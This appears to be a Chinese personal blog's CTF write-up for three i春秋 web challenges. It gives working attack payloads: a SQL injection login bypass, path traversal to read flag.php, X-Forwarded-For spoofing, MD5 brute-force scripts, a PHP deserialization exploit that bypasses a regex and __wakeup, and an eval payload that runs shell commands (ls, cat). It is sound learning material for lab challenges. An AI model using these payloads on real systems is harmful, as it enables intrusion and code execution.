Lemon's blog

I春秋——web Write up(三)

Record my learning process of CTF.

字数统计: 1.9k阅读时长: 7 min
2019/09/27 Share

前言:继续总结,学习更多关于web知识和练习编写脚本的能力。

GetFlag

在这里插入图片描述
一个登陆框加上验证码,不过有一点不同的是substr(md5(captcha), 0, 6)=e7e24a,截取MD5加密后验证码的前6位,而且需要等于后面的值(后面的值是变化的)

那就属于MD5碰撞了,就模仿大师傅写一个python脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
//requests库是一个常用的用于http请求的模块
import base64
import sys
//该模块提供对解释器使用或维护的一些变量的访问,以及与解释器强烈交互的函数
import hashlib
//主要提供 SHA1, SHA224, SHA256, SHA384, SHA512 ,MD5 算法

def getMd5(index):
for i in range(100000,100000000):
x = i
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:6] == index:
return x;
print(getMd5("e7e24a"))

得出验证码
在这里插入图片描述
观察源码,没有发现什么线索,尝试一下SQL注入

1
' or 1=1#

在这里插入图片描述
把文件下载下来
在这里插入图片描述
其中两个txt文件没有什么用处,有用的就是那一个php文件

1
flag is in the web root dir

这句话提示flagweb根目录,抓包看看
在这里插入图片描述
发现并没有什么线索,点击超链接再抓包试试,发现GET处是文件id查询的形式,所以这里应该就可以从这里查看到根目录文件
在这里插入图片描述
改成flag.php没用,但改成./flag.php有反应
在这里插入图片描述
以为这样就可以得出flag,结果是我想多了,不管试多少个./././都无用,所以不能用目录缩写来跳过,只能输入正确的根目录

利用CONNECT请求方式,查看是什么服务器
在这里插入图片描述
Linux服务器,那就用常用的web根目录试下

1
/var/www/html

输入/var/www/html/flag.php什么也没有显示
在这里插入图片描述
试下/var/www/html/Challenges/flag.php发现有源码出现(注释是自己添加的)
在这里插入图片描述
这段代码涉及了try...catch抛出异常,先执行try里面的语句,如果语句中有异常则执行catch语句,不过这段代码较为容易,我们只需满足$spaceone === 'flag'即可,所以通过POST方式构造

1
2
flag=flag;
//加分号是因为eval() 函数把字符串按照 PHP 代码来计算

即可得出flag
在这里插入图片描述

fuzzing

在这里插入图片描述
什么也没有,抓包看看有什么线索吧
在这里插入图片描述
发现一句提示提示:IP,大型内部网络,百度查询大型内部网络,A类IP地址都是用于大型网络,在百度百科上查到使用范围
在这里插入图片描述
伪造IP地址,修改X-Forwarded-For的值,修改过后,发现
在这里插入图片描述
打开看看有什么
在这里插入图片描述
show your key一开始到这里没思路了,看了大师傅的博客才知道这里key是参数。。。,以为是像之前一样的id爆破,结果不是。

那就改变请求方式,以POST方式请求
在这里插入图片描述
发现一句话

1
key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]

这句话讲的很清楚了,key后面的三位是从a-z或0-9选的,最后拼成MD5值为1b4167610ba3f2ac426a68488dbd89be

那就写脚本来爆破吧

1
2
3
4
5
6
7
8
9
10
11
import hashlib

md5 = '1b4167610ba3f2ac426a68488dbd89be'
s = 'abcdefghijklmnopqrstuvwxyz0123456789'

for i in s:
for j in s:
for k in s:
key = "ichunqiu"+i+j+k
if(hashlib.md5(key.encode("utf8")).hexdigest() == md5):
print(key)

得出key的值ichunqiu105

再次请求,发现一个xx00xxoo.php文件
在这里插入图片描述
访问后得到一段文字

source code is in the x0.txt.Can you guess the key
the authcode(flag) is 06e16LKT9I7Lnahh402yiyttEdV1Bq9mMnFay+x7DDf+HUMY3/s7Ktyx5GUjCc/6zWsujs9wUp6ZPbt//yGWv7IlMaf/lAo

提示说源码在x0.txt中,那就来查看一下
在这里插入图片描述
刚得到一脸懵,不会这么长的代码吧,仔细观察便发现代码中并未包含有flag,而且这段代码就是一个解密函数,再加上提示的
在这里插入图片描述我们直接调用函数解密输出即可f得出flag

1
echo authcode($string='5371AysJMuHkb9xTZSJegnyFbeNV5o5hqadMgEoJC6MH8KLmyr6Ys4ob4lLGkI5qcGo/WE1bGJ2IQnh6PMP7L2f1fqp8sLw',$operation = 'DECODE',$key = 'ichunqiu105');

在这里插入图片描述
这个题目。。。一开始还以为是模糊测试,结果不是。。。

Hash

在这里插入图片描述
进行抓包,看看有什么线索
在这里插入图片描述
发现一段话

you are 123;if you are not 123,you can get the flag
<!–$hash=md5($sign.$key);the length of $sign is 8

hash的值是由8位的signkey组成的,提示说只要不是123,就可以得到flag,那我们将key改为124,提交但是hash值不正确
在这里插入图片描述
所以我们需要先求出来sign的值,然后再和我们所设的124连在一起求MD5即可

在线MD5解一开始的hash值
在这里插入图片描述
还真查到了,一直以为需要写脚本给跑出来,那sign的值便是kkkkkk01,结合124,在线MD5加密,提交即可
在这里插入图片描述
又得到一个线索,访问一下,发现源码
在这里插入图片描述
那接下来就来审计代码

一个Demo类,有三个魔法函数,简单介绍一下

1
2
3
4
5
6
__construct
在每次创建新对象时先调用此方法
__destruct
对象的所有引用都被删除或者当对象被显式销毁时执行
__wakeup
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法

下面if语句判断是否存在GET方式进入的var,如果满足匹配的正则表达式,则回显STOP,否则则进行反序列化,在反序列化之前,先调用__wakeup魔法函数,如果指向的file不是Gu3ss_m3_h2h2.php,则会强制指向Gu3ss_m3_h2h2.php

审计完代码,思路也就很清晰了,提示说秘密在f15g_1s_here.php,根据这串代码,我们需要将f15g_1s_here.php先序列化,最后让源码解开,其中还必须绕过正则表达式和__wakeup的检查,才可以成功

模仿大师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}}
$a = new Demo('f15g_1s_here.php');
$s = serialize($a);echo $s;echo '<br>';
$s = str_replace('O:4', 'O:+4',$s);//绕过正则
$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数
echo base64_encode($s);//最后base64编码
?>

简单解释一下$s = str_replace('O:4', 'O:+4',$s);能绕过正则表达式
因为在源码中[oc]会任意匹配其中的一个字符,正则表达式中有模式修正符i,i 不区分(ignore)大小写;例如: /abc/i 可以匹配 abc、aBC、Abc ',所以可以匹配到O\d用来匹配数字,而我们构造O:+4则可以绕过这一匹配,从而让匹配不成功,绕过正则

之所以$s = str_replace(':1:', ':2:' ,$s);能绕过wakeup函数,是因为当成员属性数目大于实际数目时可绕过该函数

得出结果
在这里插入图片描述
直接在URL将base64编码的值传进去,又会发现一段源码
在这里插入图片描述
eval函数,但同时也有addslashes转义函数,addslashes转义函数会
转义'",所以只能用反引号 ` ,构造payload:

1
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`ls`;

在这里插入图片描述
查看flag即可

1
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

解释一下${}、反引号,这里涉及到命令代换

shell执行命令并将命令替换部分替换为执行该命令后的结果(先执行该命令,然后用结果代换到命令行中)

反引号和${}者两种命令的功能是相同的,在执行一条命令时,会将或者${}中的语句当做命令执行以便,再把结果加入到原命令中重新执行

具体可以看大师傅的博客
命令代换


好了,这次就先总结到这里,又学到不少知识,下次继续总结!

CATALOG
  1. 1. GetFlag
  2. 2. fuzzing
  3. 3. Hash